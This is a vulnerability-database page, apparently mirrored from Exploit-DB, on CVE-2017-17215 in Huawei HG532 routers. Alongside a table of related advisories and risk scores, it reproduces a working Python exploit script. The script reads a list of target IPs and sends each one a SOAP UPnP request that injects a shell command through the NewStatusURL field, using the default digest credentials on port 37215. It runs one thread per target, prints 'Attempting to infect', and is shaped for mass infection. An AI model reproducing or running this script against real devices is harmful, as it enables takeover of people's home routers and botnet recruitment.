Lucene search
+L

Huawei Router HG532 - Arbitrary Command Execution

🗓️ 25 Dec 2017 00:00:00Reported by anonymousType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 109 Views

Huawei Router HG532 - Arbitrary Command Execution using SOAP

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Improper Input Validation in Huawei Hg532_Firmware
17 Nov 202011:22
–githubexploit
attackerkb
attackerkb
CVE-2017-17215
20 Mar 201800:00
–attackerkb
bdu_fstec
BDU FSTEC
Huawei HG532 Code Execution
28 Apr 202200:00
–bdu_fstec
circl
Circl
CVE-2017-17215
2 Jan 201809:34
–circl
cnvd
CNVD
Huawei HG532 Series Router Remote Code Execution Vulnerability
25 Dec 201700:00
–cnvd
checkpoint_advisories
Check Point Advisories
Huawei HG532 Router Remote Code Execution (CVE-2017-17215)
27 Nov 201700:00
–checkpoint_advisories
cve
CVE
CVE-2017-17215
20 Mar 201815:00
–cve
cvelist
Cvelist
CVE-2017-17215
20 Mar 201815:00
–cvelist
huawei
Huawei
Security Notice - Statement on Remote Code Execution Vulnerability in Huawei HG532 Product
30 Nov 201700:00
–huawei
nessus
Tenable Nessus
Huawei HG532e Home Gateway Command Injection
11 Dec 201700:00
–nessus
Rows per page
import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"

class exploit(threading.Thread):
		def __init__ (self, ip):
			threading.Thread.__init__(self)
			self.ip = str(ip).rstrip('\n')
		def run(self):
			try:
				url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
				requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
				print "[SOAP] Attempting to infect " + self.ip
			except Exception as e:
				pass

for ip in ips:
	try:
		n = exploit(ip)
		n.start()
		time.sleep(0.03)
	except:
		pass

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jan 2018 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 26.5
CVSS 38.8
EPSS0.78278
109